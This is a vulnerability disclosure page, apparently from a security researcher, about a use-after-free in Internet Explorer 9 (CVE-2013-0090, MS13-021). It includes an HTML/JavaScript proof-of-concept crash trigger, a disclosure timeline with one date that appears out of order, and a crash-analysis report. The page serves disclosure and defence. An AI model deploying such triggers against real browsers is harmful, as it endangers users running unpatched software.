This is a friendly warning that your web-browser does not currently protecting your privacy and/or security as well as you might want. Click on this message to see more information about the issue(s) that were detected. December 16th, 2016 MSIE 9 IEFRAME CView::Ensure­Size use-after-free

MSIE 9 IEFRAME CView::Ensure­Size use-after-free

(MS13-021, CVE-2013-0090)


A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software, attack vectors and potential mitigations

  • Microsoft Internet Explorer 9

    An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.


This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability in their advisory. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html <!DOCTYPE html> <html> <head> <script defer> var o­Element = document.get­Element­By­Id("ruby"); var o­Element = o­Element.parent­Node.remove­Child(o­Element); document.write("<abbr></abbr>"); document.document­Element.offset­Top; set­Timeout("location.reload()", 100); </script> </head> <body> <abbr dir="ltr"> <ruby id="ruby" dir="rtl"> </ruby> </abbr> </body> </html>


  • Sometime in October 2012: This vulnerability was found through fuzzing.
  • 29 October 2012: This vulnerability was submitted to EIP.
  • 27 November 2013: This vulnerability was rejected by EIP.
  • 14 January 2013: This vulnerability was submitted to ZDI.
  • 6 February 2013: This vulnerability was acquired by ZDI.
  • 13 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
  • 29 May 2013: This vulnerability was address by Microsoft in MS13-021.
  • 16 December 2016: Details of this vulnerability are released.
Bug­Id report: MSHTML.dll!CView::Ensure­Size Arbitrary AVR(291A3D35)
id:             MSHTML.dll!CView::Ensure­Size Arbitrary AVR(291A3D35)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x0B2FEFE8) in MSHTML.dll!CView::Ensure­Size
note:           Based on this information, this is expected to be a security issue!
application:    MSIE 9.00.8112.16421
This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version.
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